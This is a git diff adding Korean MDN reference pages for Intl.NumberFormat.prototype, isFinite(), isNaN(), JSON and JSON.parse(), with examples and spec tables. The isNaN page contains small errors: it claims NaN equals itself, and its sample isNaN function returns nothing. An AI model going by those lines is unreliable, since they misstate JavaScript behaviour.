+ <td>{{Spec2('ES Int Draft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Intl', '같이_보기')}}</div>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html b/files/ko/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html
new file mode 100644
index 0000000000..19b0b8e0e6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/numberformat/prototype/index.html
@@ -0,0 +1,85 @@
+---
+title: Intl.NumberFormat.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/prototype
+tags:
+ - Internationalization
+ - Intl
+ - JavaScript
+ - NumberFormat
+ - Property
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Intl.NumberFormat.prototype</code></strong> 속성은 {{jsxref("NumberFormat", "Intl.NumberFormat")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Intl.NumberFormat</code> 인스턴스에 대한 설명은 {{jsxref("NumberFormat")}} 문서를 참고하세요.</p>
+
+<p>{{jsxref("NumberFormat", "Intl.NumberFormat")}} 인스턴스는 <code>Intl.NumberFormat.prototype</code>을 상속합니다. 프로토타입 객체를 변형하면 모든 {{jsxref("NumberFormat", "Intl.NumberFormat")}} 인스턴스가 영향을 받습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Intl.NumberFormat.prototype.constructor</code></dt>
+ <dd><code>Intl.NumberFormat</code>에 대한 참조입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.format", "Intl.NumberFormat.prototype.format()")}}</dt>
+ <dd>주어진 숫자에 {{jsxref("NumberFormat")}} 객체의 로케일과 서식 설정을 적용해 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("NumberFormat.formatToParts", "Intl.NumberFormat.prototype.formatToParts()")}}</dt>
+ <dd>서식을 적용한 숫자의 각 부분을 객체로 표현해서 {{jsxref("Array")}}로 반환합니다. 반환 값은 로케일별 커스텀 서식에 사용할 수 있습니다.</dd>
+ <dt>{{jsxref("NumberFormat.resolvedOptions", "Intl.NumberFormat.prototype.resolvedOptions()")}}</dt>
+ <dd>객체 인스턴스 생성 때 주어진 로케일과 콜레이션 설정이 어떻게 반영되었나 나타내는 새로운 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 1.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}</td>
+ <td>{{Spec2('ES Int 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int 2.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}</td>
+ <td>{{Spec2('ES Int 2.0')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype', 'Intl.NumberFormat.prototype')}}</td>
+ <td>{{Spec2('ES Int Draft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.NumberFormat.prototype")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/isfinite/index.html b/files/ko/web/javascript/reference/global_objects/isfinite/index.html
new file mode 100644
index 0000000000..834389e2f7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/isfinite/index.html
@@ -0,0 +1,84 @@
+---
+title: isFinite()
+slug: Web/JavaScript/Reference/Global_Objects/isFinite
+tags:
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/isFinite
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>isFinite()</strong></code> 전역 함수는 주어진 값이 유한수인지 판별합니다. 필요한 경우 매개변수를 먼저 숫자로 변환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-isfinite.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">isFinite(<em>testValue</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>testValue</code></dt>
+ <dd>유한한지 판별할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>testValue</code>가 양 또는 음의 {{jsxref("Infinity")}}, {{jsxref("NaN")}}, 또는 {{jsxref("undefined")}}면 <code>false</code>, 아니면 <code>true</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>isFinite()</code>은 최상위 함수로 어떤 객체와도 연결되지 않았습니다.</p>
+
+<p>숫자가 유한수인지 판별하기 위해 <code>isFinite()</code>을 사용할 수 있습니다. <code>isFinite()</code>은 주어진 수를 검사해 그 값이 <code>NaN</code>, 양의 무한대, 또는 음의 무한대이면 <code>false</code>를 반환합니다. 그렇지 않으면 <code>true</code>를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="isFinite_사용하기"><code>isFinite()</code> 사용하기</h3>
+
+<pre class="brush: js notranslate">isFinite(Infinity); // false
+isFinite(NaN); // false
+isFinite(-Infinity); // false
+
+isFinite(0); // true
+isFinite(2e64); // true
+isFinite(910); // true
+
+isFinite(null); // true, would've been false with the
+ // more robust Number.isFinite(null)
+
+isFinite('0'); // true, would've been false with the
+ // more robust Number.isFinite("0")</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-isfinite-number', 'isFinite')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.isFinite")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.isFinite()")}}</li>
+ <li>{{jsxref("Number.NaN()")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/isnan/index.html b/files/ko/web/javascript/reference/global_objects/isnan/index.html
new file mode 100644
index 0000000000..f0b2f12a31
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/isnan/index.html
@@ -0,0 +1,190 @@
+---
+title: isNaN()
+slug: Web/JavaScript/Reference/Global_Objects/isNaN
+tags:
+ - JavaScript
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/isNaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>isNaN()</strong></code> 함수는 어떤 값이 {{jsxref("NaN")}}인지 판별합니다. <code>isNaN</code> 함수는 몇몇 {{anch("일반적이지 않은 규칙")}}을 가지고 있으므로, ECMAScript 2015에서 추가한 {{jsxref("Number.isNaN()")}}으로 바꾸는 편이 좋을 수도 있습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-isnan.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>isNaN(<em>value</em>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>테스트되는 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값이 {{jsxref("NaN")}}이면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="isNaN_함수의_필요성"><code>isNaN</code> 함수의 필요성</h3>
+
+<p>JavaScript의 다른 모든 값과 달리, {{jsxref("NaN")}}은 같음 연산(<code>==</code>, <code>===</code>)을 사용해 판별할 수 없습니다. <code>NaN == NaN</code>, <code>NaN === NaN</code>이기 때문입니다. 그래서 <code>NaN</code>을 판별하는 함수가 필요합니다.</p>
+
+<h3 id="NaN_값의_기원"><code>NaN</code> 값의 기원</h3>
+
+<p><code>NaN</code> 값은 산술 연산이 <strong>정의되지 않은</strong> 결과 또는 <strong>표현할 수 없는</strong> 결과를 도출하면 생성되며, 반드시 오버플로 조건을 나타내는 것은 아닙니다. 숫자가 아닌 값의 변환을 시도했으나 알맞은 원시 숫자 값이 없는 경우의 결과도 <code>NaN</code>입니다.</p>
+
+<p>예를 들어 0을 0으로 나누면 <code>NaN</code>이지만, 다른 수를 0으로 나누면 그렇지 않습니다.</p>
+
+<h3 id="혼란스러운_특별_케이스_행동"><a id="special-behavior" name="special-behavior"></a>혼란스러운 특별 케이스 행동</h3>
+
+<p><code>isNaN</code> 함수 스펙의 아주 초기 버전 이후로, 숫자 아닌 인수를 위한 행동이 혼란스럽습니다. <code>isNaN</code> 함수의 인수가 <a href="http://es5.github.com/#x8.5" title="http://es5.github.com/#x8.5">Number</a> 형이 아닌 경우, 그 값은 먼저 숫자로 강제됩니다. 결과값은 그 뒤에 {{jsxref("NaN")}}인지 결정하기 위해 테스트됩니다. 따라서 숫자 형으로 강제된 결과 유효한 비 NaN 숫자값(특히 강제될 때 숫자값이 0 또는 1을 주는 빈 문자열 및 불린 원시형)이 되는 비 숫자의 경우, "false" 반환값은 예기치 않을 수 있습니다; 예를 들어 빈 문자열은 분명히 "not a number"입니다. 혼란(confusion)은 용어 "not a number"가 IEEE-754 부동 소수점 값으로 표현된 숫자에 특정 의미가 있다는 사실에서 생깁니다. 함수는 "이 값이, 숫자값으로 강제되는 경우, IEEE-754 'Not A Number' 값인가?"라는 질문에 답하는 것으로 해석되어야 합니다.</p>
+
+<p>ECMAScript (ES2015) 최근 버전은 {{jsxref("Number.isNaN()")}} 함수를 포함합니다. <code>Number.isNaN(x)</code>는 <code>x</code>가 <code>NaN</code>인지 아닌지 테스트하는 믿을 수 있는 방법이 됩니다. 그러나 <code>Number.isNaN</code>으로도, <code>NaN</code>의 의미는 정확한 숫자 의미로 남아있고 단순히 "not a number"는 아닙니다. 그 대신에, <code>Number.isNaN</code>이 없을 경우에, 식 <code>(x != x)</code>은 변수 <code>x</code>가 <code>NaN</code>인지 아닌지 테스트하는 더 믿을 수 있는 방법입니다, 그 결과는 <code>isNaN</code>을 믿을 수 없게 하는 오탐(false positive)의 대상이 아니기에.</p>
+
+<p>당신은 isNaN을 다음과 같이 생각할 수 있습니다:</p>
+
+<pre class="brush: js">isNaN = function(value) {
+ Number.isNaN(Number(value));
+}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">isNaN(NaN); // 참
+isNaN(undefined); // 참
+isNaN({}); // 참
+
+isNaN(true); // 거짓
+isNaN(null); // 거짓
+isNaN(37); // 거짓
+
+// 문자열
+isNaN("37"); // 거짓: "37"은 NaN이 아닌 숫자 37로 변환됩니다
+isNaN("37.37"); // 거짓: "37.37"은 NaN이 아닌 숫자 37.37로 변환됩니다
+isNaN("123ABC"); // 참: parseInt("123ABC")는 123이지만 Number("123ABC")는 NaN입니다
+isNaN(""); // 거짓: 빈 문자열은 NaN이 아닌 0으로 변환됩니다
+isNaN(" "); // 거짓: 공백이 있는 문자열은 NaN이 아닌 0으로 변환됩니다
+
+// dates
+isNaN(new Date()); // 거짓
+isNaN(new Date().toString()); // 참
+
+// 이것이 허위 양성이고 isNaN이 완전히 신뢰할 수 없는 이유이다.
+isNaN("blabla") // 참: "blabla"는 숫자로 변환됩니다.
+ // 이것을 숫자롯 parsing 하는 것을 실패하고 NaN을 반환한다.
+</pre>
+
+<h3 id="유용한_특별_케이스_행동">유용한 특별 케이스 행동</h3>
+
+<p><code>isNaN()</code>을 고려한 더 용도 중심 방법이 있습니다: <code>isNaN(x)</code>가 <code>false</code>를 반환하면, 그 식이 <code>NaN</code>을 반환하게 하지 않고 산술 식에 <code>x</code>를 쓸 수 있습니다. <code>true</code>를 반환하는 경우, <code>x</code>는 모든 산술 식이 <code>NaN</code>을 반환하게 합니다. 이는 JavaScript에서, <code>isNaN(x) == true</code>가 <code>NaN</code>을 반환하는 <code>x - 0</code>과 동일함(JavaScript에서 <code>x - 0 == NaN</code>가 항상 거짓을 반환하여 그것을 테스트할 수 없지만)을 뜻합니다. 실제로, <code>isNaN(x)</code>, <code>isNaN(x - 0)</code>, <code>isNaN(Number(x))</code>, <code>Number.isNaN(x - 0)</code> 및 <code>Number.isNaN(Number(x))</code>는 항상 같은 값을 반환하며 JavaScript에서 <code>isNaN(x)</code>는 그저 이러한 각각의 조건(terms)을 표현하는 가장 짧은 형태입니다.</p>
+
+<p>예를 들어 함수에 인수가 산술 처리 가능한(숫자 "처럼" 쓸 수 있는)지를 테스트하기 위해 사용할 수 있습니다, 그렇지 않은 경우 기본 값 또는 다른 무언가를 제공해야 합니다. 이런 식으로 문맥에 따라 암시적인 값 변환을 제공하는 JavaScript의 다양성(versatility) 전체를 이용케 하는 함수를 가질 수 있습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">function increment(x) {
+ if (isNaN(x)) x = 0;
+ return x + 1;
+};
+
+// Number.isNaN()과 같은 효과:
+function increment(x) {
+ if (Number.isNaN(Number(x))) x = 0;
+ return x + 1;
+};
+
+// 함수의 인수 x에 대해 다음 경우에,
+// isNaN(x)는 항상 거짓, x가 실제 숫자가 아닐지라도
+// 하지만 산술 식에 그대로
+// 사용될 수 있습니다
+increment(""); // 1: ""는 0으로 변환됩니다
+increment(new String()); // 1: 빈 문자열을 나타내는 String 객체는 0으로 변환됩니다
+increment([]); // 1: []는 0으로 변환됩니다
+increment(new Array()); // 1: 빈 배열을 나타내는 Array 객체는 0으로 변환됩니다
+increment("0"); // 1: "0"은 0으로 변환됩니다
+increment("1"); // 2: "1"은 1로 변환됩니다
+increment("0.1"); // 1.1: "0.1"은 0.1로 변환됩니다
+increment("Infinity"); // Infinity: "Infinity"는 Infinity로 변환됩니다
+increment(null); // 1: null은 0으로 변환됩니다
+increment(false); // 1: false는 0으로 변환됩니다
+increment(true); // 2: true는 1로 변환됩니다
+increment(new Date()); // 밀리초로 현재 date/time + 1을 반환합니다
+
+// 함수의 인수 x에 대해 다음 경우에,
+// isNaN(x)는 항상 거짓이고 x는 실제로 숫자입니다
+increment(-1); // 0
+increment(-0.1); // 0.9
+increment(0); // 1
+increment(1); // 2
+increment(2); // 3
+// ... 등등 ...
+increment(Infinity); // Infinity
+
+// 함수의 인수 x에 대해 다음 경우에,
+// isNaN(x)는 항상 참이고 x는 실제로 숫자가 아닙니다,
+// 따라서 함수는 인수를 0으로 대체하고 1을 반환합니다
+increment(String); // 1
+increment(Array); // 1
+increment("blabla"); // 1
+increment("-blabla"); // 1
+increment(0/0); // 1
+increment("0/0"); // 1
+increment(Infinity/Infinity); // 1
+increment(NaN); // 1
+increment(undefined); // 1
+increment(); // 1
+
+// isNaN(x)는 항상 isNaN(Number(x))과 같지만,
+// x의 존재는 여기서 필수입니다!
+isNaN(x) == isNaN(Number(x)) // x == undefined 포함 x의 어떤 값도 참,
+ // isNaN(undefined) == true 및 Number(undefined)가 NaN을 반환하기에,
+ // 하지만 ...
+isNaN() == isNaN(Number()) // 거짓, isNaN() == true 및 Number() == 0 때문에
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.1.2.4', 'isNaN')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-isnan-number', 'isNaN')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.isNaN")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/json/index.html b/files/ko/web/javascript/reference/global_objects/json/index.html
new file mode 100644
index 0000000000..ef21cfc534
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/json/index.html
@@ -0,0 +1,122 @@
+---
+title: JSON
+slug: Web/JavaScript/Reference/Global_Objects/JSON
+tags:
+ - JSON
+ - JavaScript
+ - Object
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>JSON</code></strong> 객체는 <a class="external" href="http://json.org/">JavaScript Object Notation</a>({{glossary("JSON")}})을 분석하거나 값을 JSON으로 변환하는 메서드를 가지고 있습니다. <code>JSON</code>을 직접 호출하거나 인스턴스를 생성할 수 없으며, 두 개의 메서드를 제외하면 자신만의 흥미로운 기능은 없습니다.</p>
+
+<h2 id="JavaScript와_JSON의_차이">JavaScript와 JSON의 차이</h2>
+
+<p>JSON은 객체, 배열, 숫자, 문자열, 불리언과 {{jsxref("null")}}을 직렬화하기 위한 구문으로, JavaScript 구문에 기반을 두고 있지만 분명한 차이점을 가지고 있습니다. 즉, 어떤 JavaScript는 JSON이 아닙니다.</p>
+
+<dl>
+ <dt>객체와 배열</dt>
+ <dd>속성의 이름은 반드시 큰따옴표로 표시된 문자열이어야 합니다. <a href="/ko/docs/Web/JavaScript/Reference/Trailing_commas">후행 쉼표</a>는 허용하지 않습니다.</dd>
+ <dt>숫자</dt>
+ <dd>선행 0은 허용하지 않습니다. 소숫점 뒤에는 적어도 한 자릿수가 뒤따라야 합니다. {{jsxref("NaN")}}과 {{jsxref("Infinity")}}는 지원하지 않습니다.</dd>
+ <dt>모든 JSON 텍스트는 유효한 JavaScript 표현식...</dt>
+ <dd>...이지만,<a href="https://github.com/tc39/proposal-json-superset"> 모든 JSON 텍스트를 올바른 ECMA-262로 만드는 제안</a>을 구현한 JavaScript 엔진에서만 그러합니다. 다른 엔진에서는, U+2028 LINE SEPARATOR와 U+2029 PARAGRAPH SEPARATOR를 JSON에서 스트링 리터럴과 속성의 키로 사용할 수 있지만, JavaScript 문자열 리터럴에서 사용하면 {{jsxref("SyntaxError")}}가 발생합니다.</dd>
+</dl>
+
+<p>{{jsxref("JSON.parse()")}}로 JSON 문자열을 분석하고 {{jsxref("eval")}}이 JavaScript 문자열로 실행하는 다음 예시를 참고하세요.</p>
+
+<pre class="brush: js">const code = '"\u2028\u2029"'
+JSON.parse(code) // 모든 엔진에서 "\u2028\u2029"로 평가
+eval(code) // 오래된 엔진에서 SyntaxError
+</pre>
+
+<p>다른 차이점으로는 문자열의 작은따옴표 금지와, 주석 및 {{jsxref("undefined")}} 미지원이 있습니다. JSON에 기반한, 보다 사람 친화적인 설정 형식을 원하면 Babel 컴파일러가 사용하는 <a href="https://json5.org/">JSON5</a>가 있고, 좀 더 많이 쓰이는 <a href="https://ko.wikipedia.org/wiki/YAML">YAML</a>도 있습니다.</p>
+
+<h2 id="전체_JSON_구문">전체 JSON 구문</h2>
+
+<pre><var>JSON</var> = <strong>null</strong>
+ <em>or</em> <strong>true</strong> <em>or</em> <strong>false</strong>
+ <em>or</em> <var>JSONNumber</var>
+ <em>or</em> <var>JSONString</var>
+ <em>or</em> <var>JSONObject</var>
+ <em>or</em> <var>JSONArray</var>
+
+<var>JSONNumber</var> = <strong>-</strong> <var>PositiveNumber</var>
+ <em>or</em> <var>PositiveNumber</var>
+<var>PositiveNumber</var> = DecimalNumber
+ <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var>
+ <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> <var>ExponentPart</var>
+ <em>or</em> <var>DecimalNumber</var> <var>ExponentPart</var>
+<var>DecimalNumber</var> = <strong>0</strong>
+ <em>or</em> <var>OneToNine</var> <var>Digits</var>
+<var>ExponentPart</var> = <strong>e</strong> <var>Exponent</var>
+ <em>or</em> <strong>E</strong> <var>Exponent</var>
+<var>Exponent</var> = <var>Digits</var>
+ <em>or</em> <strong>+</strong> <var>Digits</var>
+ <em>or</em> <strong>-</strong> <var>Digits</var>
+<var>Digits</var> = <var>Digit</var>
+ <em>or</em> <var>Digits</var> <var>Digit</var>
+<var>Digit</var> = <strong>0</strong> through <strong>9</strong>
+<var>OneToNine</var> = <strong>1</strong> through <strong>9</strong>
+
+<var>JSONString</var> = <strong>""</strong>
+ <em>or</em> <strong>"</strong> <var>StringCharacters</var> <strong>"</strong>
+<var>StringCharacters</var> = <var>StringCharacter</var>
+ <em>or</em> <var>StringCharacters</var> <var>StringCharacter</var>
+<var>StringCharacter</var> = any character
+ <em>except</em> <strong>"</strong> <em>or</em> <strong>\</strong> <em>or</em> U+0000 through U+001F
+ <em>or</em> <var>EscapeSequence</var>
+<var>EscapeSequence</var> = <strong>\"</strong> <em>or</em> <strong>\/</strong> <em>or</em> <strong>\\</strong> <em>or</em> <strong>\b</strong> <em>or</em> <strong>\f</strong> <em>or</em> <strong>\n</strong> <em>or</em> <strong>\r</strong> <em>or</em> <strong>\t</strong>
+ <em>or</em> <strong>\u</strong> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var>
+<var>HexDigit</var> = <strong>0</strong> through <strong>9</strong>
+ <em>or</em> <strong>A</strong> through <strong>F</strong>
+ <em>or</em> <strong>a</strong> through <strong>f</strong>
+
+<var>JSONObject</var> = <strong>{</strong> <strong>}</strong>
+ <em>or</em> <strong>{</strong> <var>Members</var> <strong>}</strong>
+<var>Members</var> = <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+ <em>or</em> <var>Members</var> <strong>,</strong> <var>JSONString</var> <strong>:</strong> <var>JSON</var>
+
+<var>JSONArray</var> = <strong>[</strong> <strong>]</strong>
+ <em>or</em> <strong>[</strong> <var>ArrayElements</var> <strong>]</strong>
+<var>ArrayElements</var> = <var>JSON</var>
+ <em>or</em> <var>ArrayElements</var> <strong>,</strong> <var>JSON</var>
+</pre>
+
+<p>중요하지 않은 공백은 <code><var>JSONNumber</var></code>(숫자에는 공백이 없어야 함) 또는 <code><var>JSONString</var></code>(문자열에서 해당 문자로 해석되거나 오류를 일으킴) 내를 제외하고 어디에나 존재할 수 있습니다. 탭 문자(<a href="http://unicode-table.com/en/0009/">U+0009</a>), 캐리지 리턴(<a href="http://unicode-table.com/en/000D/">U+000D</a>), 라인 피드(<a href="http://unicode-table.com/en/000A/">U+000A</a>) 및 스페이스(<a href="http://unicode-table.com/en/0020/">U+0020</a>) 문자만이 유효한 공백 문자입니다.</p>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("JSON.parse()")}}</dt>
+ <dd>문자열을 JSON으로서 구문 분석하고, 선택적으로 분석 결과의 값과 속성을 변환해 반환합니다.</dd>
+ <dt>{{jsxref("JSON.stringify()")}}</dt>
+ <dd>주어진 값에 해당하는 JSON 문자열을 반환합니다. 선택 사항으로 특정 속성만 포함하거나 사용자 정의 방식으로 속성을 대체합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.JSON")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toJSON()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/json/parse/index.html b/files/ko/web/javascript/reference/global_objects/json/parse/index.html
new file mode 100644
index 0000000000..fa32b3711e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/json/parse/index.html
@@ -0,0 +1,123 @@
+---
+title: JSON.parse()
+slug: Web/JavaScript/Reference/Global_Objects/JSON/parse
+tags:
+ - ECMAScript 5
+ - JSON
+ - JavaScript
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/parse
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>JSON.parse()</code></strong> 메서드는 JSON 문자열의 구문을 분석하고, 그 결과에서 JavaScript 값이나 객체를 생성합니다.</span> 선택적으로, <code>reviver</code> 함수를 인수로 전달할 경우, 결과를 반환하기 전에 변형할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/json-parse.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">JSON.parse(<var>text</var>[, <var>reviver</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>JSON으로 변환할 문자열. JSON 구문은 {{jsxref("JSON")}} 객체의 설명을 참고하세요.</dd>
+ <dt><code>reviver</code> {{optional_inline}}</dt>
+ <dd>함수라면, 변환 결과를 반환하기 전에 이 인수에 전달해 변형함.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 JSON 문자열에 대응하는 {{jsxref("Object")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p>변환할 문자열이 유효한 JSON이 아닐 경우 {{jsxref("SyntaxError")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="JSON.parse()_사용하기"><code>JSON.parse()</code> 사용하기</h3>
+
+<pre class="brush: js">JSON.parse('{}'); // {}
+JSON.parse('true'); // true
+JSON.parse('"foo"'); // "foo"
+JSON.parse('[1, 5, "false"]'); // [1, 5, "false"]
+JSON.parse('null'); // null
+</pre>
+
+<h3 id="reviver_매개변수_사용하기"><code>reviver</code> 매개변수 사용하기</h3>
+
+<p><code>reviver</code>가 주어지면 분석한 값을 반환하기 전에 변환합니다. 구체적으로는, 분석한 값과 그 모든 속성(가장 깊게 중첩된 속성부터 시작해 제일 바깥의 원래 값까지)을 각각 <code>reviver</code>에 전달합니다. <code>reviver</code>의 <code>this</code> 문맥은 분석한 값으로 설정되고, 속성 명(문자열)과 값을 인자로 전달받습니다. <code>reviver</code>가 {{jsxref("undefined")}}를 반환하거나 반환하지 않는다면, 예컨대 함수가 중간에 실패한다면 그 속성은 최종 결과에서 제외됩니다. 그 외에는 반환 값으로 속성의 값을 재설정합니다.</p>
+
+<p>만약 <code>reviver</code>가 일부 값만 변환하고 나머지는 건드리지 않는다면, 나머지 값을 그대로 반환하는걸 잊지 마세요. 그렇지 않으면 변환한 값 외에는 결과에서 모두 제외됩니다.</p>
+
+<pre class="brush: js">JSON.parse('{"p": 5}', (key, value) =&gt;
+ typeof value === 'number'
+ ? value * 2 // 숫자라면 2배
+ : value // 나머진 그대로
+);
+
+// { p: 10 }
+
+JSON.parse('{"1": 1, "2": 2, "3": {"4": 4, "5": {"6": 6}}}', (key, value) =&gt; {
+ console.log(key); // 현재 속성명 출력, 마지막은 빈 문자열("")
+ return value; // 변환하지 않고 그대로 반환
+});
+
+// 1
+// 2
+// 4
+// 6
+// 5
+// 3
+// ""</pre>
+
+<h3 id="후행_쉼표_사용_불가">후행 쉼표 사용 불가</h3>
+
+<pre class="example-bad brush: js">// 둘 다 SyntaxError
+JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.12.2', 'JSON.parse')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.7.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-json.parse', 'JSON.parse')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-json.parse', 'JSON.parse')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.JSON.parse")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
